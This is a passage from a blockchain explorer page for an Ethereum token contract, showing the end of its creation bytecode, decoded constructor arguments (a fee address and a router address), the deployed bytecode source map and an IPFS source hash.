050565b600080600060608486031215610f5a57600080fd5b8335610f6581610f04565b92506020840135610f7581610f04565b929592945050506040919091013590565b600060208284031215610f9857600080fd5b81356104ee81610f04565b600060208284031215610fb557600080fd5b5035919050565b60008060408385031215610fcf57600080fd5b8235610fda81610f04565b91506020830135610fea81610f04565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561047557610475610ff5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561106557600080fd5b5051919050565b8082018082111561047557610475610ff5565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110a757600080fd5b81516104ee81610f04565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111025784516001600160a01b0316835293830193918301916001016110dd565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761047557610475610ff5565b60008261115757634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122089da422508ebc439604f9e8156cd82d0e96f56120aaa978900dd84968752067964736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000faacbc0b1cef9f43acb152a826d4c3371347d2060000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : fee (address): 0xfaaCBc0B1Cef9f43ACb152A826d4c3371347d206
Arg [1] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 000000000000000000000000faacbc0b1cef9f43acb152a826d4c3371347d206
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

4810:6507:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6390:73;;;;;;;;;;;;6421:42;6390:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;6390:73:0;;;;;;;;5938:40;;;;;;;;;;;;;;;;;;;368:25:1;;;356:2;341:18;5938:40:0;222:177:1;5213:80:0;;;;;;;;;;-1:-1:-1;5285:5:0;;;;;;;;;;;;-1:-1:-1;;;5285:5:0;;;;5213:80;;;;;;;:::i;7474:161::-;;;;;;;;;;-1:-1:-1;7474:161:0;;;;;:::i;:::-;;:::i;:::-;;;1578:14:1;;1571:22;1553:41;;1541:2;1526:18;7474:161:0;1413:187:1;4869:125:0;;;;;;;;;;-1:-1:-1;5909:22:0;4869:125;;7910:306;;;;;;;;;;-1:-1:-1;7910:306:0;;;;;:::i;:::-;;:::i;8224:109::-;;;;;;;;;;-1:-1:-1;8224:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;8310:15:0;8286:4;8310:15;;;:6;:15;;;;;;;;;8224:109;5000:117;;;;;;;;;;-1:-1:-1;5000:117:0;;6381:2;2460:36:1;;2448:2;2433:18;5000:117:0;2318:184:1;5870:61:0;;;;;;;;;;;;5909:22;5870:61;;6470:21;;;;;;;;;;-1:-1:-1;6470:21:0;;;;-1:-1:-1;;;;;6470:21:0;;;11106:208;;;;;;;;;;-1:-1:-1;11106:208:0;;;;;:::i;:::-;;:::i;:::-;;5524:117;;;;;;;;;;-1:-1:-1;5524:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5617:16:0;5590:7;5617:16;;;:7;:16;;;;;;;5524:117;1071:94;;;;;;;;;;;;;:::i;5299:80::-;;;;;;;;;;-1:-1:-1;5351:7:0;921:6;-1:-1:-1;;;;;921:6:0;5299:80;;5123:84;;;;;;;;;;-1:-1:-1;5197:7:0;;;;;;;;;;;;-1:-1:-1;;;5197:7:0;;;;5123:84;;7301:165;;;;;;;;;;-1:-1:-1;7301:165:0;;;;;:::i;:::-;;:::i;6214:27::-;;;;;;;;;;-1:-1:-1;6214:27:0;;;;-1:-1:-1;;;;;6214:27:0;;;6027:45;;;;;;;;;;;;6069:3;6027:45;;5385:133;;;;;;;;;;-1:-1:-1;5385:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5487:19:0;;;5469:7;5487:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5385:133;5985:35;;;;;;;;;;;;6019:1;5985:35;;1173:192;;;;;;;;;;-1:-1:-1;1173:192:0;;;;;:::i;:::-;;:::i;7474:161::-;7551:4;7568:37;7577:10;7589:7;7598:6;7568:8;:37::i;:::-;-1:-1:-1;7623:4:0;7474:161;;;;;:::o;7910:306::-;-1:-1:-1;;;;;8031:19:0;;8010:4;8031:19;;;:11;:19;;;;;;;;8051:10;8031:31;;;;;;;;-1:-1:-1;;8031:52:0;8027:126;;-1:-1:-1;;;;;8100:19:0;;;;;;:11;:19;;;;;;;;8120:10;8100:31;;;;;;;:41;;8135:6;;8100:19;:41;;8135:6;;8100:41;:::i;:::-;;;;-1:-1:-1;;8027:126:0;8172:36;8182:6;8190:9;8201:6;8172:9;:36::i;:::-;8165:43;;7910:306;;;;;;:::o;11106:208::-;894:7;921:6;-1:-1:-1;;;;;921:6:0;477:10;983:23;975:68;;;;-1:-1:-1;;;975:68:0;;;;;;;:::i;:::-;;;;;;;;;11195:3:::1;11185:6;:13;;11177:51;;;::::0;-1:-1:-1;;;11177:51:0;;4138:2:1;11177:51:0::1;::::0;::::1;4120:21:1::0;4177:2;4157:18;;;4150:30;4216:28;4196:18;;;4189:56;4262:18;;11177:51:0::1;3936:350:1::0;11177:51:0::1;11239:13;:22:::0;;;11277:29:::1;::::0;368:25:1;;;11277:29:0::1;::::0;356:2:1;341:18;11277:29:0::1;;;;;;;11106:208:::0;:::o;1071:94::-;894:7;921:6;-1:-1:-1;;;;;921:6:0;477:10;983:23;975:68;;;;-1:-1:-1;;;975:68:0;;;;;;;:::i;:::-;1136:21:::1;1154:1;1136:9;:21::i;:::-;1071:94::o:0;7301:165::-;7379:4;7396:40;7406:10;7418:9;7429:6;7396:9;:40::i;:::-;-1:-1:-1;7454:4:0;;7301:165;-1:-1:-1;;;7301:165:0:o;1173:192::-;894:7;921:6;-1:-1:-1;;;;;921:6:0;477:10;983:23;975:68;;;;-1:-1:-1;;;975:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1262:22:0;::::1;1254:73;;;::::0;-1:-1:-1;;;1254:73:0;;4493:2:1;1254:73:0::1;::::0;::::1;4475:21:1::0;4532:2;4512:18;;;4505:30;4571:34;4551:18;;;4544:62;-1:-1:-1;;;4622:18:1;;;4615:36;4668:19;;1254:73:0::1;4291:402:1::0;1254:73:0::1;1338:19;1348:8;1338:9;:19::i;:::-;1173:192:::0;:::o;7643:259::-;-1:-1:-1;;;;;7738:20:0;;7730:52;;;;-1:-1:-1;;;7730:52:0;;4900:2:1;7730:52:0;;;4882:21:1;4939:2;4919:18;;;4912:30;-1:-1:-1;;;4958:18:1;;;4951:49;5017:18;;7730:52:0;4698:343:1;7730:52:0;-1:-1:-1;;;;;7801:21:0;;7793:53;;;;-1:-1:-1;;;7793:53:0;;4900:2:1;7793:53:0;;;4882:21:1;4939:2;4919:18;;;4912:30;-1:-1:-1;;;4958:18:1;;;4951:49;5017:18;;7793:53:0;4698:343:1;7793:53:0;-1:-1:-1;;;;;7857:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;7643:259::o;8514:1046::-;8594:4;8626;-1:-1:-1;;;;;8649:16:0;;8641:64;;;;-1:-1:-1;;;8641:64:0;;5248:2:1;8641:64:0;;;5230:21:1;5287:2;5267:18;;;5260:30;5326:34;5306:18;;;5299:62;-1:-1:-1;;;5377:18:1;;;5370:33;5420:19;;8641:64:0;5046:399:1;8641:64:0;-1:-1:-1;;;;;8724:18:0;;8716:68;;;;-1:-1:-1;;;8716:68:0;;5652:2:1;8716:68:0;;;5634:21:1;5691:2;5671:18;;;5664:30;5730:34;5710:18;;;5703:62;-1:-1:-1;;;5781:18:1;;;5774:35;5826:19;;8716:68:0;5450:401:1;8716:68:0;8812:1;8803:6;:10;8795:64;;;;-1:-1:-1;;;8795:64:0;;6058:2:1;8795:64:0;;;6040:21:1;6097:2;6077:18;;;6070:30;6136:34;6116:18;;;6109:62;-1:-1:-1;;;6187:18:1;;;6180:39;6236:19;;8795:64:0;5856:405:1;8795:64:0;8911:16;;8897:47;;-1:-1:-1;;;8897:47:0;;-1:-1:-1;;;;;178:32:1;;;8897:47:0;;;160:51:1;8870:24:0;;;;8911:16;;;8897:41;;133:18:1;;8897:47:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:51;:63;;8954:6;8897:63;;;8950:1;8897:63;8870:90;;8974:17;8982:4;8988:2;8974:7;:17::i;:::-;:29;;;;-1:-1:-1;8997:6:0;;-1:-1:-1;;;8997:6:0;;;;8996:7;8974:29;8971:243;;;9069:4;9020:28;5617:16;;;:7;:16;;;;;;9117:13;;9093:37;;9090:113;;9152:34;9165:20;9152:12;:34::i;:::-;9005:209;8971:243;-1:-1:-1;;;;;9228:12:0;;;;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;9244:10:0;;;;;;:6;:10;;;;;;;;9228:26;9224:73;;;9280:5;9270:15;;9224:73;9307:22;9333:7;9332:63;;9389:6;9332:63;;;9344:42;9354:4;9360:17;9368:4;9374:2;9360:7;:17::i;:::-;9379:6;9344:9;:42::i;:::-;-1:-1:-1;;;;;9406:13:0;;;;;;:7;:13;;;;;:33;;9307:88;;-1:-1:-1;9423:16:0;;9406:13;;;:33;;9423:16;;9406:33;:::i;:::-;;;;-1:-1:-1;;;;;;;9450:11:0;;;;;;:7;:11;;;;;:29;;9465:14;;9450:11;:29;;9465:14;;9450:29;:::i;:::-;;;;;;;;9511:2;-1:-1:-1;;;;;9496:34:0;9505:4;-1:-1:-1;;;;;9496:34:0;;9515:14;9496:34;;;;368:25:1;;356:2;341:18;;222:177;9496:34:0;;;;;;;;-1:-1:-1;9548:4:0;;8514:1046;-1:-1:-1;;;;;;8514:1046:0:o;1373:173::-;1429:16;1448:6;;-1:-1:-1;;;;;1465:17:0;;;-1:-1:-1;;;;;;1465:17:0;;;;;;1498:40;;1448:6;;;;;;;1498:40;;1429:16;1498:40;1418:128;1373:173;:::o;8341:165::-;-1:-1:-1;;;;;8441:13:0;;8407:4;8441:13;;;:8;:13;;;;;;8407:4;;8441:13;;:31;;;;-1:-1:-1;;;;;;8459:13:0;;;;;;:8;:13;;;;;;;;8458:14;8441:31;8425:47;8341:165;-1:-1:-1;;;;8341:165:0:o;10322:776::-;6555:6;:13;;-1:-1:-1;;;;6555:13:0;-1:-1:-1;;;6555:13:0;;;10429:16:::1;::::0;;10443:1:::1;10429:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10429:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10429:16:0::1;10405:40;;10474:4;10456;10461:1;10456:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10456:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10500:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10500:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10456:7;;10500:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10490:4;10495:1;10490:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10490:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;10554:4:::1;10534:26;::::0;;;:11:::1;:26:::0;;;;;;10569:10:::1;::::0;;;::::1;10534:47:::0;;;;;;;;-1:-1:-1;;10534:68:0::1;10530:168;;10639:4;10619:26;::::0;;;:11:::1;:26;::::0;;;;;;;10654:10:::1;::::0;-1:-1:-1;;;;;10654:10:0::1;10619:47:::0;;;;;;;-1:-1:-1;;10619:67:0;;10530:168:::1;10714:10;::::0;:200:::1;::::0;-1:-1:-1;;;10714:200:0;;-1:-1:-1;;;;;10714:10:0;;::::1;::::0;:61:::1;::::0;:200:::1;::::0;10790:20;;10714:10:::1;::::0;10841:4;;10868::::1;::::0;10888:15:::1;::::0;10714:200:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;10710:247;;10939:7;;;10710:247;10967:12;10995:21;:25:::0;10992:98:::1;;11035:16;::::0;:55:::1;::::0;-1:-1:-1;;;;;11035:16:0;;::::1;::::0;11064:21:::1;::::0;11035:55:::1;::::0;;;11064:21;11035:16;:55:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;11022:68:0;;-1:-1:-1;;10992:98:0::1;10394:704;;6579:1;-1:-1:-1::0;6591:6:0;:14;;-1:-1:-1;;;;6591:14:0;;;10322:776::o;9568:746::-;9648:7;;9694:26;;;;-1:-1:-1;6019:1:0;9694:26;9735:3;9742:1;9735:8;9731:28;;9753:6;9746:13;;;;;9731:28;9773:17;6069:3;9793:12;9802:3;9793:6;:12;:::i;:::-;:30;;;;:::i;:::-;9773:50;-1:-1:-1;9838:13:0;;9834:437;;9868:18;6165:3;9889:16;9868:18;9889:6;:16;:::i;:::-;:34;;;;:::i;:::-;9954:4;9938:22;;;;:7;:22;;;;;:35;;9868:55;;-1:-1:-1;9964:9:0;;9938:22;;;:35;;9964:9;;9938:35;:::i;:::-;;;;-1:-1:-1;;9993:40:0;;368:25:1;;;10016:4:0;;-1:-1:-1;;;;;9993:40:0;;;;;356:2:1;341:18;9993:40:0;;;;;;;10053:14;;10050:210;;10104:4;10088:22;;;;:7;:22;;;;;:36;;10114:10;;10088:22;:36;;10114:10;;10088:36;:::i;:::-;;;;-1:-1:-1;;6421:42:0;10143:22;;;;:7;:22;;;:36;;10169:10;;10143:22;:36;;10169:10;;10143:36;:::i;:::-;;;;-1:-1:-1;;10203:41:0;;368:25:1;;;6421:42:0;;10220:4;;10203:41;;356:2:1;341:18;10203:41:0;;;;;;;10050:210;9853:418;9834:437;10288:18;10297:9;10288:6;:18;:::i;:::-;10281:25;9568:746;-1:-1:-1;;;;;;9568:746:0:o;404:548:1:-;516:4;545:2;574;563:9;556:21;606:6;600:13;649:6;644:2;633:9;629:18;622:34;674:1;684:140;698:6;695:1;692:13;684:140;;;793:14;;;789:23;;783:30;759:17;;;778:2;755:26;748:66;713:10;;684:140;;;688:3;873:1;868:2;859:6;848:9;844:22;840:31;833:42;943:2;936;932:7;927:2;919:6;915:15;911:29;900:9;896:45;892:54;884:62;;;;404:548;;;;:::o;957:131::-;-1:-1:-1;;;;;1032:31:1;;1022:42;;1012:70;;1078:1;1075;1068:12;1093:315;1161:6;1169;1222:2;1210:9;1201:7;1197:23;1193:32;1190:52;;;1238:1;1235;1228:12;1190:52;1277:9;1264:23;1296:31;1321:5;1296:31;:::i;:::-;1346:5;1398:2;1383:18;;;;1370:32;;-1:-1:-1;;;1093:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2917:388::-;2985:6;2993;3046:2;3034:9;3025:7;3021:23;3017:32;3014:52;;;3062:1;3059;3052:12;3014:52;3101:9;3088:23;3120:31;3145:5;3120:31;:::i;:::-;3170:5;-1:-1:-1;3227:2:1;3212:18;;3199:32;3240:33;3199:32;3240:33;:::i;:::-;3292:7;3282:17;;;2917:388;;;;;:::o;3310:127::-;3371:10;3366:3;3362:20;3359:1;3352:31;3402:4;3399:1;3392:15;3426:4;3423:1;3416:15;3442:128;3509:9;;;3530:11;;;3527:37;;;3544:18;;:::i;3575:356::-;3777:2;3759:21;;;3796:18;;;3789:30;3855:34;3850:2;3835:18;;3828:62;3922:2;3907:18;;3575:356::o;6266:184::-;6336:6;6389:2;6377:9;6368:7;6364:23;6360:32;6357:52;;;6405:1;6402;6395:12;6357:52;-1:-1:-1;6428:16:1;;6266:184;-1:-1:-1;6266:184:1:o;6455:125::-;6520:9;;;6541:10;;;6538:36;;;6554:18;;:::i;6717:127::-;6778:10;6773:3;6769:20;6766:1;6759:31;6809:4;6806:1;6799:15;6833:4;6830:1;6823:15;6849:251;6919:6;6972:2;6960:9;6951:7;6947:23;6943:32;6940:52;;;6988:1;6985;6978:12;6940:52;7020:9;7014:16;7039:31;7064:5;7039:31;:::i;7105:980::-;7367:4;7415:3;7404:9;7400:19;7446:6;7435:9;7428:25;7472:2;7510:6;7505:2;7494:9;7490:18;7483:34;7553:3;7548:2;7537:9;7533:18;7526:31;7577:6;7612;7606:13;7643:6;7635;7628:22;7681:3;7670:9;7666:19;7659:26;;7720:2;7712:6;7708:15;7694:29;;7741:1;7751:195;7765:6;7762:1;7759:13;7751:195;;;7830:13;;-1:-1:-1;;;;;7826:39:1;7814:52;;7921:15;;;;7886:12;;;;7862:1;7780:9;7751:195;;;-1:-1:-1;;;;;;;8002:32:1;;;;7997:2;7982:18;;7975:60;-1:-1:-1;;;8066:3:1;8051:19;8044:35;7963:3;7105:980;-1:-1:-1;;;7105:980:1:o;8300:168::-;8373:9;;;8404;;8421:15;;;8415:22;;8401:37;8391:71;;8442:18;;:::i;8473:217::-;8513:1;8539;8529:132;;8583:10;8578:3;8574:20;8571:1;8564:31;8618:4;8615:1;8608:15;8646:4;8643:1;8636:15;8529:132;-1:-1:-1;8675:9:1;;8473:217::o

Swarm Source

ipfs://89da422508ebc439604f9e8156cd82d0e96f56120aaa978900dd849687520679
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.